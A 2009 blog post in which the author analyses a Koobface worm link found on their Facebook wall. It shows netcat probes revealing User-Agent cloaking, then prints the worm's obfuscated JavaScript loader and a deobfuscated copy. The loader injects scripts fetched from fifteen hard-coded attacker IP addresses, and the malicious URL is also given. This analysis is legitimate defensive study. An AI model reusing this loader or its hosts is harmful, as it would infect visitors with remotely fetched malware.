Thursday, September 24, 2009

Koobface on my Facebook!

I was checking my facebook earlier today (something I almost never do), and noticed that someone had left a weird link on my wall: h t t p ://s217307881.mialojamiento.es/y0urc1ip/ I first visited the page in Firefox with javascript and such turned off. This is the source of the page as seen from firefox:
pcnxnkcaiztp cvnxmxxrgscdvkr
<script src="9j72fkj-de1w.js"></script>
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I then decided to visit the page from the command line using netcat:
C:\>nc s217307881.mialojamiento.es 80
GET /y0urc1ip/ HTTP/1.1
Host: s217307881.mialojamiento.es

HTTP/1.1 200 OK
Date: Thu, 24 Sep 2009 18:40:56 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Transfer-Encoding: chunked
Content-Type: text/html

6e
<title>Amazing Video</title>
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<img src=j18sda5ncm8.jpg>
exlyansstgifbh wsrwmduxllj

0
Notice the difference? No javascript tag is found in the source. I did a little experimenting with the server and found that only requests that contain valid User-Agent headers will get the script tag:
C:\>nc s217307881.mialojamiento.es 80
GET /y0urc1ip/ HTTP/1.1
Host: s217307881.mialojamiento.es
User-Agent: The Old Laundry Basket

HTTP/1.1 200 OK
Date: Thu, 24 Sep 2009 18:49:57 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Transfer-Encoding: chunked
Content-Type: text/html

6a
<title>Amazing Video</title>
ozgauyjgghjy aabkqxigumthaux
<img src=j18sda5ncm8.jpg>
jorivrc bjajszitzkdqh

0
This one is sending a User-Agent string that IE8 uses:
C:\Documents and Settings\Student>nc s217307881.mialojamiento.es 80
GET /y0urc1ip/ HTTP/1.1
Host: s217307881.mialojamiento.es
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 3.0.30729; InfoPath.3; .NET CLR 4.0.20506)

HTTP/1.1 200 OK
Date: Thu, 24 Sep 2009 18:58:35 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Transfer-Encoding: chunked
Content-Type: text/html

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<script src="9j72fkj-de1w.js"></script>
ailsoghinur aaqajwmblrnbj

0
Now, onto the Javascript file: 9j72fkj-de1w.js. Below is the original contents of the file:
// KROTEG
var pwdfqiyjsclgezbrt9 = [
['facebook.com',  'fb2'],
['tagged.com',    'tg'],
['friendster.com','fr'],
['myspace.com',   'ms'],
['msplinks.com',  'ms'],
['lnk.ms',  'ms'],
['myyearbook.com','yb'],
['fubar.com',     'fu'],
['twitter.com',   'tw'],
['hi5.com',       'hi5'],
['bebo.com',      'be']
];
var fomqnzlcd1 = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var sxhidbqvre1 = '', xbujdriqngovtsz3 = '', psgyket3 = '', svzlnruwojfhi7 = '';
var zkglq4 = '' + eval('doc'+sxhidbqvre1+'ume'+xbujdriqngovtsz3+'nt.r'+psgyket3+'efer'+svzlnruwojfhi7+'rer'), ygepvbrakftloqmhwc6 = '';
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < pwdfqiyjsclgezbrt9.length; nilhfdopsrx7 ++) {
    if ((zkglq4.indexOf(pwdfqiyjsclgezbrt9[nilhfdopsrx7][0]) != -1)) {
  ygepvbrakftloqmhwc6 = '/f=' + pwdfqiyjsclgezbrt9[nilhfdopsrx7][1];
  break;
    }
}
window.redirect = '';
function urocwfkgdsjq6() {
 var higeruoxzcnqsbad9 = '' + window.redirect;
 if (higeruoxzcnqsbad9.length > 0) window.location.href = higeruoxzcnqsbad9;
 else setTimeout('urocwfkgdsjq6()', 50);
}
urocwfkgdsjq6();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
 n = parseInt(location.href.substr(n + 4));
 if (n < 101) js = '/cnet';
 else if (n < 201) js = '/warn';
 else if (n < 301) js = '/scan';
 else if (n < 401) js = '';
}
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < fomqnzlcd1.length; nilhfdopsrx7 ++) {
 var onjrmgcaifxsqtzb9 = document.createElement('script');
 onjrmgcaifxsqtzb9.type = 'text/javascript';
 onjrmgcaifxsqtzb9.src = 'http://' + fomqnzlcd1[nilhfdopsrx7] + '/go' + '.js' + '?0x3' + 'E8' + ygepvbrakftloqmhwc6 + js + '/' + (location.search.length > 0 ? location.search : '');
 document.getElementsByTagName('head')[0].appendChild(onjrmgcaifxsqtzb9);
}
And here is my version of it:
// KROTEG
var referrers = [
['facebook.com',  'fb2'],
['tagged.com',    'tg'],
['friendster.com','fr'],
['myspace.com',   'ms'],
['msplinks.com',  'ms'],
['lnk.ms',  'ms'],
['myyearbook.com','yb'],
['fubar.com',     'fu'],
['twitter.com',   'tw'],
['hi5.com',       'hi5'],
['bebo.com',      'be']
];
var ipAddresses = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var docReferrer = '' + eval('document.referrer'), newPath = '';
for (var i = 0; i < referrers.length; i ++) {
    if ((docReferrer.indexOf(referrers[i][0]) != -1)) {
  newPath = '/f=' + referrers[i][1];
  break;
    }
}
window.redirect = '';
function WaitForRedirect() {
 var currRedirect = '' + window.redirect;
 if (currRedirect.length > 0) window.location.href = currRedirect;
 else setTimeout('WaitForRedirect()', 50);
}
WaitForRedirect();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
 n = parseInt(location.href.substr(n + 4));
 if (n < 101) js = '/cnet';
 else if (n < 201) js = '/warn';
 else if (n < 301) js = '/scan';
 else if (n < 401) js = '';
}
for (var i = 0; i < ipAddresses.length; i ++) {
 var scriptTag = document.createElement('script');
 scriptTag.type = 'text/javascript';
 scriptTag.src = 'http://' + ipAddresses[i] + '/go.js' + '?0x3' + 'E8' + newPath + js + '/' + (location.search.length > 0 ? location.search : '');
 document.getElementsByTagName('head')[0].appendChild(scriptTag);
}
I did some searching around for the word "KROTEG" and found this link: http://r3v3rs3e.wordpress.com/tag/kroteg/. What was on my wall was just another variant of the koobface worm.

I must say though, I found the javascript obfuscation to be quite simple to undo, which I did not expect coming from something that receives so much press.

I don't have time now to explain what the js file does, but will go through that in another post.

1 comment:

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